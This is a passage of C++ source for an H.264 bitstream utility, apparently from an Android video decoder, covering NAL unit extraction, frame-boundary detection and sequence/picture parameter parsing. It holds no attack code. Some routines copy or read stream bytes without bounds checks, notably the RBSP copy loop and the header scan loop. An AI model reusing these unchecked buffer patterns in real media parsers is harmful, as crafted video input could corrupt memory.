// Decode signed integer Exp-Golomb-coded syntax element
int32 RbspParser::se()
{
const uint32 x = ue();
if (!x)
return 0;
else if (x & 1)
return static_cast < int32 > ((x >> 1) + 1);
else
return -static_cast < int32 > (x >> 1);
}
void H264_Utils::allocate_rbsp_buffer(uint32 inputBufferSize)
{
m_rbspBytes = (byte *) malloc(inputBufferSize);
m_prv_nalu.nal_ref_idc = 0;
m_prv_nalu.nalu_type = NALU_TYPE_UNSPECIFIED;
}
H264_Utils::H264_Utils():m_height(0), m_width(0), m_rbspBytes(NULL),
m_default_profile_chk(true), m_default_level_chk(true)
{
#ifdef _ANDROID_
char property_value[PROPERTY_VALUE_MAX] = {0};
if(0 != property_get("persist.omxvideo.profilecheck", property_value, NULL))
{
if(!strcmp(property_value, "false"))
{
m_default_profile_chk = false;
}
}
else
{
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED, "H264_Utils:: Constr failed in \
getting value for the Android property [persist.omxvideo.profilecheck]");
}
if(0 != property_get("persist.omxvideo.levelcheck", property_value, NULL))
{
if(!strcmp(property_value, "false"))
{
m_default_level_chk = false;
}
}
else
{
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED, "H264_Utils:: Constr failed in \
getting value for the Android property [persist.omxvideo.levelcheck]");
}
#endif
initialize_frame_checking_environment();
}
H264_Utils::~H264_Utils()
{
/* if(m_pbits)
{
delete(m_pbits);
m_pbits = NULL;
}
*/
if (m_rbspBytes) {
free(m_rbspBytes);
m_rbspBytes = NULL;
}
}
/***********************************************************************/
/*
FUNCTION:
H264_Utils::initialize_frame_checking_environment
DESCRIPTION:
Extract RBSP data from a NAL
INPUT/OUTPUT PARAMETERS:
None
RETURN VALUE:
boolean
SIDE EFFECTS:
None.
*/
/***********************************************************************/
void H264_Utils::initialize_frame_checking_environment()
{
m_forceToStichNextNAL = false;
}
/***********************************************************************/
/*
FUNCTION:
H264_Utils::extract_rbsp
DESCRIPTION:
Extract RBSP data from a NAL
INPUT/OUTPUT PARAMETERS:
<In>
buffer : buffer containing start code or nal length + NAL units
buffer_length : the length of the NAL buffer
start_code : If true, start code is detected,
otherwise size nal length is detected
size_of_nal_length_field: size of nal length field
<Out>
rbsp_bistream : extracted RBSP bistream
rbsp_length : the length of the RBSP bitstream
nal_unit : decoded NAL header information
RETURN VALUE:
boolean
SIDE EFFECTS:
None.
*/
/***********************************************************************/
boolean H264_Utils::extract_rbsp(OMX_IN OMX_U8 * buffer,
OMX_IN OMX_U32 buffer_length,
OMX_IN OMX_U32 size_of_nal_length_field,
OMX_OUT OMX_U8 * rbsp_bistream,
OMX_OUT OMX_U32 * rbsp_length,
OMX_OUT NALU * nal_unit)
{
byte coef1, coef2, coef3;
uint32 pos = 0;
uint32 nal_len = buffer_length;
uint32 sizeofNalLengthField = 0;
uint32 zero_count;
boolean eRet = true;
boolean start_code = (size_of_nal_length_field == 0) ? true : false;
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED, "extract_rbsp\n");
if (start_code) {
// Search start_code_prefix_one_3bytes (0x000001)
coef2 = buffer[pos++];
coef3 = buffer[pos++];
do {
if (pos >= buffer_length) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_HIGH,
"Error at extract rbsp line %d",
__LINE__);
return false;
}
coef1 = coef2;
coef2 = coef3;
coef3 = buffer[pos++];
} while (coef1 || coef2 || coef3 != 1);
} else if (size_of_nal_length_field) {
/* This is the case to play multiple NAL units inside each access unit */
/* Extract the NAL length depending on sizeOfNALength field */
sizeofNalLengthField = size_of_nal_length_field;
nal_len = 0;
while (size_of_nal_length_field--) {
nal_len |=
buffer[pos++] << (size_of_nal_length_field << 3);
}
if (nal_len >= buffer_length) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d",
__LINE__);
return false;
}
}
if (nal_len > buffer_length) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d", __LINE__);
return false;
}
if (pos + 1 > (nal_len + sizeofNalLengthField)) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d", __LINE__);
return false;
}
if (nal_unit->forbidden_zero_bit = (buffer[pos] & 0x80)) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"Error at extract rbsp line %d", __LINE__);
}
nal_unit->nal_ref_idc = (buffer[pos] & 0x60) >> 5;
nal_unit->nalu_type = buffer[pos++] & 0x1f;
*rbsp_length = 0;
if (nal_unit->nalu_type == NALU_TYPE_EOSEQ ||
nal_unit->nalu_type == NALU_TYPE_EOSTREAM)
return eRet;
zero_count = 0;
while (pos < (nal_len + sizeofNalLengthField)) //similar to for in p-42
{
if (zero_count == 2) {
if (buffer[pos] == 0x03) {
pos++;
zero_count = 0;
continue;
}
if (buffer[pos] <= 0x01) {
if (start_code) {
*rbsp_length -= 2;
pos -= 2;
break;
}
}
zero_count = 0;
}
zero_count++;
if (buffer[pos] != 0)
zero_count = 0;
rbsp_bistream[(*rbsp_length)++] = buffer[pos++];
}
return eRet;
}
/*===========================================================================
FUNCTION:
H264_Utils::iSNewFrame
DESCRIPTION:
Returns true if NAL parsing successfull otherwise false.
INPUT/OUTPUT PARAMETERS:
<In>
buffer : buffer containing start code or nal length + NAL units
buffer_length : the length of the NAL buffer
start_code : If true, start code is detected,
otherwise size nal length is detected
size_of_nal_length_field: size of nal length field
<out>
isNewFrame: true if the NAL belongs to a differenet frame
false if the NAL belongs to a current frame
RETURN VALUE:
boolean true, if nal parsing is successful
false, if the nal parsing has errors
SIDE EFFECTS:
None.
===========================================================================*/
bool H264_Utils::isNewFrame(OMX_IN OMX_U8 * buffer,
OMX_IN OMX_U32 buffer_length,
OMX_IN OMX_U32 size_of_nal_length_field,
OMX_OUT OMX_BOOL & isNewFrame,
bool & isUpdateTimestamp)
{
NALU nal_unit;
uint16 first_mb_in_slice = 0;
uint32 numBytesInRBSP = 0;
bool eRet = true;
isUpdateTimestamp = false;
QTV_MSG_PRIO3(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"get_h264_nal_type %p nal_length %d nal_length_field %d\n",
buffer, buffer_length, size_of_nal_length_field);
if (false ==
extract_rbsp(buffer, buffer_length, size_of_nal_length_field,
m_rbspBytes, &numBytesInRBSP, &nal_unit)) {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_ERROR,
"get_h264_nal_type - ERROR at extract_rbsp\n");
isNewFrame = OMX_FALSE;
eRet = false;
} else {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"Nalu type: %d",nal_unit.nalu_type);
switch (nal_unit.nalu_type) {
case NALU_TYPE_IDR:
case NALU_TYPE_NON_IDR:
{
RbspParser rbsp_parser(m_rbspBytes,
(m_rbspBytes +
numBytesInRBSP));
first_mb_in_slice = rbsp_parser.ue();
if (m_forceToStichNextNAL) {
isNewFrame = OMX_FALSE;
if(!first_mb_in_slice){
isUpdateTimestamp = true;
}
} else {
if ((!first_mb_in_slice) || /*(slice.prv_frame_num != slice.frame_num ) || */
((m_prv_nalu.nal_ref_idc !=
nal_unit.nal_ref_idc)
&& (nal_unit.nal_ref_idc *
m_prv_nalu.nal_ref_idc == 0))
||
/*( ((m_prv_nalu.nalu_type == NALU_TYPE_IDR) && (nal_unit.nalu_type == NALU_TYPE_IDR)) && (slice.idr_pic_id != slice.prv_idr_pic_id) ) || */
((m_prv_nalu.nalu_type !=
nal_unit.nalu_type)
&&
((m_prv_nalu.nalu_type ==
NALU_TYPE_IDR)
|| (nal_unit.nalu_type ==
NALU_TYPE_IDR)))) {
isNewFrame = OMX_TRUE;
} else {
isNewFrame = OMX_FALSE;
}
}
m_forceToStichNextNAL = false;
break;
}
default:
{
isNewFrame =
(m_forceToStichNextNAL ? OMX_FALSE :
OMX_TRUE);
m_forceToStichNextNAL = true;
break;
}
} // end of switch
} // end of if
m_prv_nalu = nal_unit;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"get_h264_nal_type - newFrame value %d\n", isNewFrame);
return eRet;
}
/**************************************************************************
** This function parses an H.264 Annex B formatted bitstream, returning the
** next frame in the format required by MP4 (specified in ISO/IEC 14496-15,
** section 5.2.3, "AVC Sample Structure Definition"), and recovering any
** header (sequence and picture parameter set NALUs) information, formatting
** it as a header block suitable for writing to video format services.
**
** IN const uint8 *encodedBytes
** This points to the H.264 Annex B formatted video bitstream, starting
** with the next frame for which to locate frame boundaries.
**
** IN uint32 totalBytes
** This is the total number of bytes left in the H.264 video bitstream,
** from the given starting position.
**
** INOUT H264StreamInfo &streamInfo
** This structure contains state information about the stream as it has
** been so far parsed.
**
** OUT vector<uint8> &frame
** The properly MP4 formatted H.264 frame will be stored here.
**
** OUT uint32 &bytesConsumed
** This is set to the total number of bytes parsed from the bitstream.
**
** OUT uint32 &nalSize
** The true size of the NAL (without padding zeroes)
**
** OUT bool &keyFrame
** Indicator whether this is an I-frame
**
** IN bool stripSeiAud
** If set, any SEI or AU delimiter NALUs are stripped out.
*************************************************************************/
bool H264_Utils::parseHeader(uint8 * encodedBytes,
uint32 totalBytes,
uint32 sizeOfNALLengthField,
unsigned &height,
unsigned &width,
bool & bInterlace,
unsigned &cropx,
unsigned &cropy,
unsigned &cropdx, unsigned &cropdy)
{
bool keyFrame = FALSE;
bool stripSeiAud = FALSE;
bool nalSize = FALSE;
uint64 bytesConsumed = 0;
uint8 frame[64];
struct H264ParamNalu temp = { 0 };
// Scan NALUs until a frame boundary is detected. If this is the first
// frame, scan a second time to find the end of the frame. Otherwise, the
// first boundary found is the end of the current frame. While scanning,
// collect any sequence/parameter set NALUs for use in constructing the
// stream header.
bool inFrame = true;
bool inNalu = false;
bool vclNaluFound = false;
uint8 naluType = 0;
uint32 naluStart = 0, naluSize = 0;
uint32 prevVclFrameNum = 0, vclFrameNum = 0;
bool prevVclFieldPicFlag = false, vclFieldPicFlag = false;
bool prevVclBottomFieldFlag = false, vclBottomFieldFlag = false;
uint8 prevVclNalRefIdc = 0, vclNalRefIdc = 0;
uint32 prevVclPicOrderCntLsb = 0, vclPicOrderCntLsb = 0;
int32 prevVclDeltaPicOrderCntBottom = 0, vclDeltaPicOrderCntBottom = 0;
int32 prevVclDeltaPicOrderCnt0 = 0, vclDeltaPicOrderCnt0 = 0;
int32 prevVclDeltaPicOrderCnt1 = 0, vclDeltaPicOrderCnt1 = 0;
uint8 vclNaluType = 0;
uint32 vclPicOrderCntType = 0;
uint64 pos;
uint64 posNalDetected = 0xFFFFFFFF;
uint32 cursor = 0xFFFFFFFF;
unsigned int profile_id = 0, level_id = 0;
H264ParamNalu *seq = NULL, *pic = NULL;
// used to determin possible infinite loop condition
int loopCnt = 0;
for (pos = 0;; ++pos) {
// return early, found possible infinite loop
if (loopCnt > 100000)
return 0;
// Scan ahead next byte.
cursor <<= 8;
cursor |= static_cast < uint32 > (encodedBytes[pos]);
if (sizeOfNALLengthField != 0) {
inNalu = true;
naluStart = sizeOfNALLengthField;
}
// If in NALU, scan forward until an end of NALU condition is
// detected.
if (inNalu) {
if (sizeOfNALLengthField == 0) {
// Detect end of NALU condition.
if (((cursor & 0xFFFFFF) == 0x000000)
|| ((cursor & 0xFFFFFF) == 0x000001)
|| (pos >= totalBytes)) {
inNalu = false;
if (pos < totalBytes) {
pos -= 3;
}
naluSize =
static_cast < uint32 >
((static_cast < uint32 >
(pos) - naluStart) + 1);
QTV_MSG_PRIO3(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->1.nalusize=%x pos=%x naluStart=%x\n",
naluSize, pos, naluStart);
} else {
++loopCnt;
continue;
}
}
// Determine NALU type.
naluType = (encodedBytes[naluStart] & 0x1F);
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->2.naluType=%x....\n",
naluType);
if (naluType == 5)
keyFrame = true;
// For NALUs in the frame having a slice header, parse additional
// fields.
bool isVclNalu = false;
if ((naluType == 1) || (naluType == 2)
|| (naluType == 5)) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->3.naluType=%x....\n",
naluType);
// Parse additional fields.
RbspParser rbsp(&encodedBytes[naluStart + 1],
&encodedBytes[naluStart +
naluSize]);
vclNaluType = naluType;
vclNalRefIdc =
((encodedBytes[naluStart] >> 5) & 0x03);
(void)rbsp.ue();
(void)rbsp.ue();
const uint32 picSetID = rbsp.ue();
pic = this->pic.find(picSetID);
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->4.sizeof %x %x\n",
this->pic.size(),
this->seq.size());
if (!pic) {
if (this->pic.empty()) {
// Found VCL NALU before needed picture parameter set
// -- assume that we started parsing mid-frame, and
// discard the rest of the frame we're in.
inFrame = false;
//frame.clear ();
QTV_MSG_PRIO(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->5.pic empty........\n");
} else {
QTV_MSG_PRIO(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->6.FAILURE to parse..break frm here");
break;
}
}
if (pic) {
QTV_MSG_PRIO2(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->7.sizeof %x %x\n",
this->pic.size(),
this->seq.size());
seq = this->seq.find(pic->seqSetID);
if (!seq) {
if (this->seq.empty()) {
QTV_MSG_PRIO
(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->8.seq empty........\n");
// Found VCL NALU before needed sequence parameter
// set -- assume that we started parsing
// mid-frame, and discard the rest of the frame
// we're in.
inFrame = false;
//frame.clear ();
} else {
QTV_MSG_PRIO
(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->9.FAILURE to parse...break");
break;
}
}
}
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->10.sizeof %x %x\n",
this->pic.size(),
this->seq.size());
if (pic && seq) {
QTV_MSG_PRIO2(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->11.pic and seq[%x][%x]........\n",
pic, seq);
isVclNalu = true;
vclFrameNum =
rbsp.u(seq->log2MaxFrameNumMinus4 +
4);
if (!seq->frameMbsOnlyFlag) {
vclFieldPicFlag =
(rbsp.u(1) == 1);
if (vclFieldPicFlag) {
vclBottomFieldFlag =
(rbsp.u(1) == 1);
}
} else {
vclFieldPicFlag = false;
vclBottomFieldFlag = false;
}
if (vclNaluType == 5) {
(void)rbsp.ue();
}
vclPicOrderCntType =
seq->picOrderCntType;
if (seq->picOrderCntType == 0) {
vclPicOrderCntLsb = rbsp.u
(seq->
log2MaxPicOrderCntLsbMinus4
+ 4);
if (pic->picOrderPresentFlag
&& !vclFieldPicFlag) {
vclDeltaPicOrderCntBottom
= rbsp.se();
} else {
vclDeltaPicOrderCntBottom
= 0;
}
} else {
vclPicOrderCntLsb = 0;
vclDeltaPicOrderCntBottom = 0;
}
if ((seq->picOrderCntType == 1)
&& !seq->
deltaPicOrderAlwaysZeroFlag) {
vclDeltaPicOrderCnt0 =
rbsp.se();
if (pic->picOrderPresentFlag
&& !vclFieldPicFlag) {
vclDeltaPicOrderCnt1 =
rbsp.se();
} else {
vclDeltaPicOrderCnt1 =
0;
}
} else {
vclDeltaPicOrderCnt0 = 0;
vclDeltaPicOrderCnt1 = 0;
}
}
}
//////////////////////////////////////////////////////////////////
// Perform frame boundary detection.
//////////////////////////////////////////////////////////////////
// The end of the bitstream is always a boundary.
bool boundary = (pos >= totalBytes);
// The first of these NALU types always mark a boundary, but skip
// any that occur before the first VCL NALU in a new frame.
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->12.naluType[%x].....\n",
naluType);
if ((((naluType >= 6) && (naluType <= 9))
|| ((naluType >= 13) && (naluType <= 18)))
&& (vclNaluFound || !inFrame)) {
boundary = true;
}
// If a VCL NALU is found, compare with the last VCL NALU to
// determine if they belong to different frames.
else if (vclNaluFound && isVclNalu) {
// Clause 7.4.1.2.4 -- detect first VCL NALU through
// parsing of portions of the NALU header and slice
// header.
/*lint -e{731} Boolean argument to equal/not equal
* It's ok
*/
if ((prevVclFrameNum != vclFrameNum)
|| (prevVclFieldPicFlag != vclFieldPicFlag)
|| (prevVclBottomFieldFlag !=
vclBottomFieldFlag)
|| ((prevVclNalRefIdc != vclNalRefIdc)
&& ((prevVclNalRefIdc == 0)
|| (vclNalRefIdc == 0)))
|| ((vclPicOrderCntType == 0)
&&
((prevVclPicOrderCntLsb !=
vclPicOrderCntLsb)
|| (prevVclDeltaPicOrderCntBottom !=
vclDeltaPicOrderCntBottom)))
|| ((vclPicOrderCntType == 1)
&& ((prevVclDeltaPicOrderCnt0
!= vclDeltaPicOrderCnt0)
|| (prevVclDeltaPicOrderCnt1
!= vclDeltaPicOrderCnt1)))) {
boundary = true;
}
}
// If a frame boundary is reached and we were in the frame in
// which at least one VCL NALU was found, we are done processing
// this frame. Remember to back up to NALU start code to make
// sure it is available for when the next frame is parsed.
if (boundary && inFrame && vclNaluFound) {
pos = static_cast < uint64 > (naluStart - 3);
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->13.Break \n");
break;
}
inFrame = (inFrame || boundary);
// Process sequence and parameter set NALUs specially.
if ((naluType == 7) || (naluType == 8)) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->14.naluType[%x].....\n",
naluType);
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->15.sizeof %x %x\n",
this->pic.size(),
this->seq.size());
H264ParamNaluSet & naluSet =
((naluType == 7) ? this->seq : this->pic);
// Parse parameter set ID and other stream information.
H264ParamNalu newParam;
RbspParser rbsp(&encodedBytes[naluStart + 1],
&encodedBytes[naluStart +
naluSize]);
uint32 id;
if (naluType == 7) {
unsigned int tmp;
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->16.naluType[%x].....\n",
naluType);
profile_id = rbsp.u(8);
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.prfoile[%d].....\n",
profile_id);
tmp = rbsp.u(8);
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.prfoilebytes[%x].....\n",
tmp);
level_id = rbsp.u(8);
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.level[%d].....\n",
level_id);
id = newParam.seqSetID = rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.seqID[%d].....\n",
id);
if (profile_id == 100) {
//Chroma_format_idc
tmp = rbsp.ue();
if (tmp == 3) {
//residual_colour_transform_flag
(void)rbsp.u(1);
}
//bit_depth_luma_minus8
(void)rbsp.ue();
//bit_depth_chroma_minus8
(void)rbsp.ue();
//qpprime_y_zero_transform_bypass_flag
(void)rbsp.u(1);
// seq_scaling_matrix_present_flag
tmp = rbsp.u(1);
if (tmp) {
unsigned int tmp1, t;
//seq_scaling_list_present_flag
for (t = 0; t < 6; t++) {
tmp1 =
rbsp.u(1);
if (tmp1) {
unsigned
int
last_scale
=
8,
next_scale
=
8,
delta_scale;
for (int
j =
0;
j <
16;
j++)
{
if (next_scale) {
delta_scale
=
rbsp.
se
();
next_scale
=
(last_scale
+
delta_scale
+
256)
%
256;
}
last_scale
=
next_scale
?
next_scale
:
last_scale;
}
}
}
for (t = 0; t < 2; t++) {
tmp1 =
rbsp.u(1);
if (tmp1) {
unsigned
int
last_scale
=
8,
next_scale
=
8,
delta_scale;
for (int
j =
0;
j <
64;
j++)
{
if (next_scale) {
delta_scale
=
rbsp.
se
();
next_scale
=
(last_scale
+
delta_scale
+
256)
%
256;
}
last_scale
=
next_scale
?
next_scale
:
last_scale;
}
}
}
}
}
newParam.log2MaxFrameNumMinus4 =
rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.log2MaxFrameNumMinu[%d].....\n",
newParam.
log2MaxFrameNumMinus4);
newParam.picOrderCntType = rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.picOrderCntType[%d].....\n",
newParam.picOrderCntType);
if (newParam.picOrderCntType == 0) {
newParam.
log2MaxPicOrderCntLsbMinus4
= rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.log2MaxPicOrderCntLsbMinus4 [%d].....\n",
newParam.
log2MaxPicOrderCntLsbMinus4);
} else if (newParam.picOrderCntType ==
1) {
newParam.
deltaPicOrderAlwaysZeroFlag
= (rbsp.u(1) == 1);
(void)rbsp.se();
(void)rbsp.se();
const uint32
numRefFramesInPicOrderCntCycle
= rbsp.ue();
for (uint32 i = 0;
i <
numRefFramesInPicOrderCntCycle;
++i) {
(void)rbsp.se();
}
}
tmp = rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.numrefFrames[%d].....\n",
tmp);
tmp = rbsp.u(1);
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.gapsflag[%x].....\n",
tmp);
newParam.picWidthInMbsMinus1 =
rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.picWidthInMbsMinus1[%d].....\n",
newParam.
picWidthInMbsMinus1);
newParam.picHeightInMapUnitsMinus1 =
rbsp.ue();
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->33.gapsflag[%d].....\n",
newParam.
picHeightInMapUnitsMinus1);
newParam.frameMbsOnlyFlag =
(rbsp.u(1) == 1);
if (!newParam.frameMbsOnlyFlag)
(void)rbsp.u(1);
(void)rbsp.u(1);
tmp = rbsp.u(1);
newParam.crop_left = 0;
newParam.crop_right = 0;
newParam.crop_top = 0;
newParam.crop_bot = 0;
if (tmp) {
newParam.crop_left = rbsp.ue();
newParam.crop_right = rbsp.ue();
newParam.crop_top = rbsp.ue();
newParam.crop_bot = rbsp.ue();
}
QTV_MSG_PRIO4(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser--->34 crop left %d, right %d, top %d, bot %d\n",
newParam.crop_left,
newParam.crop_right,
newParam.crop_top,
newParam.crop_bot);
} else {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->17.naluType[%x].....\n",
naluType);
id = newParam.picSetID = rbsp.ue();
newParam.seqSetID = rbsp.ue();
(void)rbsp.u(1);
newParam.picOrderPresentFlag =
(rbsp.u(1) == 1);
}
// We currently don't support updating existing parameter
// sets.
//const H264ParamNaluSet::const_iterator it = naluSet.find (id);
H264ParamNalu *it = naluSet.find(id);
if (it) {
const uint32 tempSize = static_cast < uint32 > (it->nalu); // ???
if ((naluSize != tempSize)
|| (0 !=
memcmp(&encodedBytes[naluStart],
&it->nalu,
static_cast <
int >(naluSize)))) {
QTV_MSG_PRIO(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->18.H264 stream contains two or \
more parameter set NALUs having the \
same ID -- this requires either a \
separate parameter set ES or \
multiple sample description atoms, \
neither of which is currently \
supported!");
break;
}
}
// Otherwise, add NALU to appropriate NALU set.
else {
H264ParamNalu *newParamInSet =
naluSet.find(id);
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->19.newParamInset[%x]\n",
newParamInSet);
if (!newParamInSet) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->20.newParamInset[%x]\n",
newParamInSet);
newParamInSet = &temp;
memcpy(newParamInSet, &newParam,
sizeof(struct
H264ParamNalu));
}
QTV_MSG_PRIO4(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->21.encodebytes=%x naluStart=%x\n",
encodedBytes, naluStart,
naluSize, newParamInSet);
QTV_MSG_PRIO2(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->22.naluSize=%x newparaminset=%p\n",
naluSize, newParamInSet);
QTV_MSG_PRIO4(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->23.-->0x%x 0x%x 0x%x 0x%x\n",
(encodedBytes +
naluStart),
(encodedBytes +
naluStart + 1),
(encodedBytes +
naluStart + 2),
(encodedBytes +
naluStart + 3));
memcpy(&newParamInSet->nalu,
(encodedBytes + naluStart),
sizeof(newParamInSet->nalu));
QTV_MSG_PRIO1(QTVDIAG_GENERAL,
QTVDIAG_PRIO_MED,
"H264Parser-->24.nalu=0x%x \n",
newParamInSet->nalu);
naluSet.insert(id, newParamInSet);
}
}
// Otherwise, if we are inside the frame, convert the NALU
// and append it to the frame output, if its type is acceptable.
else if (inFrame && (naluType != 0) && (naluType < 12)
&& (!stripSeiAud || (naluType != 9)
&& (naluType != 6))) {
uint8 sizeBuffer[4];
sizeBuffer[0] =
static_cast < uint8 > (naluSize >> 24);
sizeBuffer[1] =
static_cast < uint8 >
((naluSize >> 16) & 0xFF);
sizeBuffer[2] =
static_cast < uint8 >
((naluSize >> 8) & 0xFF);
sizeBuffer[3] =
static_cast < uint8 > (naluSize & 0xFF);
/*lint -e{1025, 1703, 119, 64, 534}
* These are known lint issues
*/
//frame.insert (frame.end (), sizeBuffer,
// sizeBuffer + sizeof (sizeBuffer));
/*lint -e{1025, 1703, 119, 64, 534, 632}
* These are known lint issues
*/
//frame.insert (frame.end (), encodedBytes + naluStart,
// encodedBytes + naluStart + naluSize);
}
// If NALU was a VCL, save VCL NALU parameters
// for use in frame boundary detection.
if (isVclNalu) {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->25.isvclnalu check passed\n");
vclNaluFound = true;
prevVclFrameNum = vclFrameNum;
prevVclFieldPicFlag = vclFieldPicFlag;
prevVclNalRefIdc = vclNalRefIdc;
prevVclBottomFieldFlag = vclBottomFieldFlag;
prevVclPicOrderCntLsb = vclPicOrderCntLsb;
prevVclDeltaPicOrderCntBottom =
vclDeltaPicOrderCntBottom;
prevVclDeltaPicOrderCnt0 = vclDeltaPicOrderCnt0;
prevVclDeltaPicOrderCnt1 = vclDeltaPicOrderCnt1;
}
}
// If not currently in a NALU, detect next NALU start code.
if ((cursor & 0xFFFFFF) == 0x000001) {
QTV_MSG_PRIO(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->26..here\n");
inNalu = true;
naluStart = static_cast < uint32 > (pos + 1);
if (0xFFFFFFFF == posNalDetected)
posNalDetected = pos - 2;
} else if (pos >= totalBytes) {
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->27.pos[%x] totalBytes[%x]\n",
pos, totalBytes);
break;
}
}
uint64 tmpPos = 0;
// find the first non-zero byte
if (pos > 0) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->28.last loop[%x]\n", pos);
tmpPos = pos - 1;
while (tmpPos != 0 && encodedBytes[tmpPos] == 0)
--tmpPos;
// add 1 to get the beginning of the start code
++tmpPos;
}
QTV_MSG_PRIO3(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->29.tmppos=%ld bytesConsumed=%x %x\n",
tmpPos, bytesConsumed, posNalDetected);
bytesConsumed = tmpPos;
nalSize = static_cast < uint32 > (bytesConsumed - posNalDetected);
// Fill in the height and width
QTV_MSG_PRIO2(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"H264Parser-->30.seq[%x] pic[%x]\n", this->seq.size(),
this->pic.size());
if (this->seq.size()) {
m_height =
(unsigned)(16 *
(2 -
(this->seq.begin()->frameMbsOnlyFlag)) *
(this->seq.begin()->picHeightInMapUnitsMinus1 +
1));
m_width =
(unsigned)(16 *
(this->seq.begin()->picWidthInMbsMinus1 + 1));
if ((m_height % 16) != 0) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"\n Height %d is not a multiple of 16",
m_height);
m_height = (m_height / 16 + 1) * 16;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"\n Height adjusted to %d \n", m_height);
}
if ((m_width % 16) != 0) {
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"\n Width %d is not a multiple of 16",
m_width);
m_width = (m_width / 16 + 1) * 16;
QTV_MSG_PRIO1(QTVDIAG_GENERAL, QTVDIAG_PRIO_MED,
"\n Width adjusted to %d \n", m_width);
}
height = m_height;
width = m_width;
bInterlace = (!this->seq.begin()->frameMbsOnlyFlag);
cropx = this->seq.begin()->crop_left << 1;
cropy = this->seq.begin()->crop_top << 1;
cropdx =
width -
((this->seq.begin()->crop_left +
this->seq.begin()->crop_right) << 1);
cropdy =
height -
((this->seq.begin()->crop_top +
